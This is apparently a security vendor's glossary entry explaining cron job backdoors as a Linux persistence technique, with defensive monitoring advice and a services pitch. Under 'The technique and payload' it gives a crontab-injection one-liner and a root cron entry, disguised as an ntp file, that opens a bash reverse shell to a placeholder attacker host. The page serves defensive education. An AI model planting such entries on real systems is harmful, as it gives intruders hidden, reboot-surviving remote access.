Persistence · Term

What is a cron job backdoor?

Cron runs commands on a schedule. Attackers add a cron entry that re-launches their payload every few minutes, durable Linux persistence that survives reboots. Here is how it works.

Persistence · TermAll services
TL;DR

A cron job backdoor adds an entry to the Linux cron scheduler that re-runs the attacker’s payload on a schedule, often every minute or few minutes, so a killed shell reconnects and the foothold survives reboots. Attackers use a user’s crontab (no root needed) or system cron files like /etc/cron.d/ and /etc/crontab (root, runs as root). It blends in with legitimate scheduled jobs and maps to MITRE T1053.003.

By John Dill, Red Team Lead, SecureLayer7Updated

What it is

cron is the Linux job scheduler: it runs commands at times defined in crontab entries. Each user can have a crontab, and there are system-wide cron locations (/etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily}) that can run jobs as any user, including root.

A cron job backdoor is just an attacker-added entry whose command is their payload, on a schedule that keeps bringing it back.

The technique and payload

The attacker adds a recurring job:

  • User crontab (no root): (crontab -l 2>/dev/null; echo "* * * * * /tmp/.p.sh") | crontab - runs the payload every minute as that user.
  • System cron as root: echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'" > /etc/cron.d/ntp for a root reverse-shell callback.
  • Hourly/daily drop-in: a script in /etc/cron.hourly/.

The job re-runs on schedule, reconnecting even after a reboot. Documented for defensive context.

How to defend

  • Monitor cron locations (user crontabs, /etc/crontab, /etc/cron.d/, /etc/cron.*) for additions and changes via file integrity monitoring.
  • Baseline legitimate cron jobs so new ones stand out, and review them periodically.
  • Alert on cron commands that spawn shells, network connections, or run from /tmp and hidden paths.
  • Restrict who can edit cron (/etc/cron.allow) and limit root.
  • Audit with crontab -l per user and inspect the system cron directories.

References

  1. [1]MITRE ATT&CK: Scheduled Task/Job (T1053)(MITRE)
  2. [2]Linux man-pages: crontab(man7.org)
  3. [3]MITRE ATT&CK: Persistence (TA0003)(MITRE)
Related terms

Common questions

Persistence, asked often

Want your environment checked for attacker persistence?

Scope an engagement

Find the backdoors an attacker would leave behind.

Our red-team and internal penetration tests show where an intruder could hide to survive a reboot or a password reset, registry keys, scheduled tasks, services, web shells, and rogue accounts, then hand your team the evidence and the fix. Free re-test included.

See all services30-min scoping call, fixed-price proposal in 48 hours.